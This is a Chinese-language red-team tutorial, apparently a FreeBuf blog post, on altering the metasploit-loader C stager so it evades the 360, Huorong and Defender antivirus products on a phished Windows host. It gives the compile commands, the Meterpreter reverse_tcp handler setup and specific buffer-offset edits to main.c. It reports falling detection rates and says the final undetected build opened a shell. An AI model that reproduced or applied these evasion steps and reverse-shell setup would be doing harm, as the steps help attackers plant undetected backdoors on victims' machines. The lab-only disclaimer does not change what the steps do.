大余
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
metasploit 是一款开源的安全漏洞检测工具,这款免费的工具在渗透圈子中广泛使用着,Metasploit Framework (MSF) 在 2003 年以开放源码方式发布,是可以自由获取的开发框架。而 Metasploit 框架兼容C编程语言。
Metasploit-Loader是使用 Metasploit 开源源码利用C语言编写的一款快速的stager客户端,在平时渗透测试或者HVV中,经常会遇到对方终端安装了各类的杀软,导致无法获得权限进行下一步渗透操作,那么Loader源码在八年前就已经公布在github上了,那么如今基本上大部分知名度杀软都能秒杀该模块。
这个模块生成的后门,不仅支持多种平台,如此热门的红队模块,如今我将带大家进行Loader底层分析C语言如何免杀过360、360杀毒、火绒和deferencer四件套主流杀软的。
二、环境介绍
黑客(攻击者):
IP:192.168.175.145
系统:kali.2020.4
windows 2019系统是黑客用于C编程制作免杀Loader的系统。
VPS服务器:
此次模拟环境将直接越过VPS平台,已成功在VPS上进行了钓鱼行为。
办公区域:
系统:windwos 10
IP:192.168.2.142
存在:360、360杀毒、火绒、deferencer
目前黑客通过kali系统进行攻击行为,通过钓鱼获得了对方的权限后,发现对方电脑上存在360、360杀毒、火绒、deferencer直接被杀软进行了查杀,无法进行反弹shell获得权限,如今将演示利用Loader模块底层分析生成免杀exe,并控制对方的过程。
三、环境部署
kali 2020.4:
将 metasploit-loader 源代码下载到本地:
https://github.com/rsmudge/metasploit-loader
安装下载到kali:
git clone https://github.com/rsmudge/metasploit-loader.git
根据图片查看,已下载好loader模块源码,也打开了metasploit-loader/master/src/main.c,接下来将分了几种场景如何一步步的进行免杀过360等杀软的演示操作。
四、Main.c初步源码免杀
1、修改源码
这需要删除和修改红框中的信息,删除的红框信息是删掉建立Socket的握手包代码,将握手信息指定修改到argv[1]...中。
修改完成后如上图,双引号引入监听IP,然后加端口即可。
2、安装编译器mingw-w64
需要在kali上安装mingw-w64编译器,需要安装几分钟,主要用于编译为exe文件能够稳定在windows系统执行。
sudo apt-get install mingw-w64
我这安装了6分多钟完成。
3、初次编译
i686-w64-mingw32-gcc main.c -o dayu.exe -lws2_3
初次编译报错了,提示是winsock2.h需要调整下。
#include <winsock2.h>
#include <windows.h>
那这需要将代码上下互换位置即可。
成功编译dayu.exe文件。
4、初次使用
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.175.2
set lport 6666
exploit -job
使用metasploit的Msfconsole开启监听,成功开启。
初步测试全球免杀率是25/69,经过初步修改还是挺多杀软查杀,说明该方法已经很多人都使用过了,不慌继续往下带大家继续免杀,这是一个过程。
此方法在去年还是可以过杀软的,如今360和火绒都秒杀了该模块生成的dayu.exe文件。
这儿可看到此方法编译C是没问题的,也能上线,但是经过小小的修改已经无法免杀杀软了,继续修改达到最终目的!
五、Main.c中级源码免杀
1、环境配置Dev-Cpp
Dev-Cpp 5.11 TDM-GCC 4.9.2 Setup.exe下载:
链接: https://pan.baidu.com/s/1pwUZzWtzyJUqK_HWEKdAXA 密码: 617u
下载完成后选择English默认安装即可。
安装完成打开,根据语言选择即可Next。
选择新建-项目,以及右上角选择64-bit。
点开项目后,选择C项目,类型选择Console Application,名称填入dayu即可。
https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c
项目确认后,将代码放入,先保存一次,这里就完成了环境安装。
2、底层分析调试
该C模块核心部位就是图中这块内容,意思是先建立一个socket握手包,然后将前四个字节分配到RWX缓冲区中,然后将源代码偏移五个单位,然后将socket值复制到缓冲区中,在将字节读入缓冲区中,最后执行DLL Main。
1)size + 5改为size + 10
2)buffer[0] = 0xBF; 改为 buffer[0] = 0x48;
3)添加buffer[1] = 0xBF;
4)buffer + 1, &my_socket, 4 改为 buffer + 2, &my_socket, 8
5)buffer + 5 改为 buffer + 10
那么这里熟悉下,以倍数增长的模式调整下缓冲区,这里将修改偏移量偏移改为10位,添加buffer,并偏移量bf改为48,随着偏移量变动buffer和socket位置也需要调整为2和8,最后读入缓冲区的位置也改为10。
修改完成后,选择工具-编辑器选项。
选择TDM-GCC 4.9.2 64-bit Release在连接器命令行中添加-lws2-32即可。
最后选择运行-编译即可。
可看到成功编译,这里只是理解了核心区域,修改了socket缓冲区的位置,看看是否会进行免杀和上线情况!
3、中级免杀情况
可看到全球免杀率27/71比初步调试的方法免杀率还低!!不慌继续往下!
这里确定了两点:
1)此方法能过火绒了
2)此方法编译没问题,直接上线了
但是通过修改缓冲区偏移量还是无法过360和360杀毒,依旧被秒杀,还是未达到目的,继续进行底层分析修改。
六、Main.c终极源码免杀
这里就不分类了,环境也在三、四、五类详细说明了,目前已经知道的信息是经过初步分析修改socket指定IP和端口,以及中级阶段分析修改缓冲区偏移量,知道了如何分析和修改底层信息,接下来继续尝试360和360杀毒到底是因为什么查杀了该模块编译的exe文件。
来到最顶端的作者注释信息,删除掉注释!
将初步和中阶段两种方法结合,修改socket为指定IP+端口。
这里我将缓冲区继续扩大,偏移量从原有的5改为15(这是个思路),然后根据调整buffer值,继续扩大。
该图可看到,还将所有的作者注释都去掉了,成功生成dayu.exe,继续进行测试!结果还是无法过2021年1月最新360和360杀毒!!
这里思路和底层分析是没问题的,修改思路也告诉大家了,已过火绒的情况下,测试360和360杀毒到底是查杀了main.c的哪个特征码进行查杀的!
接下来的修改我就不写出来了(留口饭吃),经过下一步的终极修改(还是在上图大红框中修改),最终360、360杀毒、火绒、deferencer全免杀了。
成功上线,上线后操作命令以及放着等待十几分钟后,杀软还是未报毒和中断该shell。
七、总结
目前网络基本很少msf-loader的免杀思路,有的思路也是很早以前的了,也无法在如今过杀软,但是该工具在在红队渗透工具箱中还是必备工具之一,免杀就起到了至关重要的点。
在这我只是引入们,如何分析这款工具,以及如何进行修改编译,引进门后有很多很多方法可以进行调试二次编译,知道底层的信息后更好的理解如何修改免杀,这里主要讲解的是思路,其次是方法!打造自己专属的main.c免杀模块,如今无免杀无内网!多一种方法,在今后红队内网渗透中多一份有力的工具。
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


